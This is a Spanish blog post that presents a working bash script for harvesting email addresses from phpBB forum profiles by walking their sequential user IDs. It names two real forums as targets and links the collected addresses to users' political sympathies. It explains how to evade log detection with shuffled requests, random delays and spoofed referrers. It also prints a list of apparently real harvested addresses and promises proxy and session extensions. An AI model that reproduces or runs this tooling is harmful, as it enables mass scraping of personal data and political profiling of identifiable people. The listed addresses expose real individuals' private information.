Desde hace un par de años me llamo la atención como se colaron a internet los correos electrónicos de miles de internautas afectos al actual gobierno venezolano. Revisando los comentarios y usando google me pude dar cuenta que la fuente podría ser alguna comunidad web (foro) orientada específicamente a usuarios oficialistas, no veo otra forma de asociar una dirección de correo electrónica con una tendencia política.

Para duplicar estos resultados escribí un script que permite obtener estos emails y se adapta a cualquier comunidad que use phpBB como software para foros. echemos un vistazo.

TEMP_URL="/tmp/spider_url.tmp"
MAX_SLEEP=1
TMP_EMAILS="/tmp/spider_emails.tmp"
CONFIG=$1 EMAIL_OUTPUT="/tmp/emails.txt"

rm -f $TEMP_URL
rm -f $TMP_EMAILS
rm -f $EMAIL_OUTPUT

for COMUNIDAD in `cat $CONFIG`
  do COMUNIDAD_URL=`echo $COMUNIDAD | awk -F, '{print $1}'`
  PERFILMIN=`echo $COMUNIDAD | awk -F, '{print $2}'`
  PERFILMAX=`echo $COMUNIDAD | awk -F, '{print $3}'`
  PERFIL=$PERFILMIN
  while [ "$PERFIL" -lt "$PERFILMAX" ]
    do echo "http://$COMUNIDAD_URL/profile.php?mode=viewprofile&u="$PERFIL
    PERFIL=`expr $PERFIL + 1`
  done
done | sort -R | grep -i [a-z] >> $TEMP_URL

for URL_DE_PERFIL in `cat $TEMP_URL`
  do curl -s --referer `shuf -n1 $TEMP_URL` $URL_DE_PERFIL | grep -i "@" |\
  sed -e 's/</ /g' -e 's/>/ /g' -e 's/\:/ /g' -e 's/\=/ /g' -e 's/&amp;/ /g' |\
  sed s/\"/\ /g |\ tr ' ' '\n' | \ grep "@" | sort | uniq | tr 'A-Z' 'a-z'
  SEGUNDOS=$[ ( $RANDOM % $MAX_SLEEP )  + 1 ]
  sleep $SEGUNDOS
done >> $TMP_EMAILS cat `echo $TMP_EMAILS` |\
grep -i -E '[a-zA-Z0-9_]*@[a-zA-Z0-9]*\.*\.(com|edu|net|org|info|ve)' | sort |\
 uniq > $EMAIL_OUTPUT

El script toma información que es publica y la filtra hasta obtener una cadena que semejé una dirección de correo electrónico, como pueden ver en las siguientes imagenes el perfil de los usuarios son públicos y es predecible cual es la URL de estos perfiles ya que son numerados de forma secuencial.



Al ejecutar el script no arroja ninguna salida, tendríamos que hacer un cat a $EMAIL_OUTPUT como lo vemos aquí:

Desde hace un par de años me llamo la atención como se colaron a internet los correos electrónicos de miles de internautas afectos al actual gobierno venezolano, revisando los comentarios y usando google me pude dar cuenta que la fuente podría ser alguna comunidad web (foro) orientada específicamente a usuarios oficialistas, no veo otra forma de asociar una dirección de correo electrónica con una tendencia política

Si se fijan el el script el recibe un parámetro cuando lo ejecutamos, ese parámetro es la ruta a un archivo que va a contener la información de la URL del foro a escanear, el primer perfil a escanear y el ultimo perfil, todo separado por comas sin espacios en blanco (comunidad,minimo,maximo) el archivo se vería algo así:

www.noticierodigital.com/forum,1001,1010 aporrealos.com/forum,1000,1020

Para llegar a cual es el perfil numero del perfil del ultimo usuario registrado por demos jugar en nuestro navegador web con el parámetro u=17015 y cambiar ese numero por uno mas alto hasta que recibamos una pantalla de error del foro diciendo que ese perfil no existe.

Se puede asociar el perfil con el nick y por ende con el email.

Evitando Patrones. Si volvemos al script que publique, pueden ver que tome algunas medidas para evitar crear patrones el archivos de registro (log files) alterando el orden de los perfiles y cambiando aleatoriamente el tiempo a esperar entre visita y visita a los perfiles adicionalmente estoy enviando un 'referrer' perteneciente a estas comunidades con cada petición HTTP.

El producto final de este script es una lista de direcciones de correo, una dirección por linea y luce así:

ferminmittilo@gmail.com
ivanmarcanolopez@hotmail.com
jjguillen@cantv.net
monje902@hotmail.com
psichofra@hotmail.com
linux@hacks.org

Este script no funciona con todos los foros phpBB, algunos requieren una sesión valida para acedar la pagina de los perfiles. En la segunda parte de este script (que publicare en los próximos días) usare este mismo script pero implementando cookies, sesiones, proxies y recurriendo a la cache de algunos buscadores web.


UPDATE: El script corre sin problemas en el iPhone asi que se puede ejecutar desde cualquier parte que se tenga internet bien sea vía Edge, 3G o WIFI.

Aquí una captura de pantalla y un video de el script con algunas modificaciones después de ejecutarse:

Script para recolectar emails de foros web ejecutado desde el iPhone

Comments

comments powered by Disqus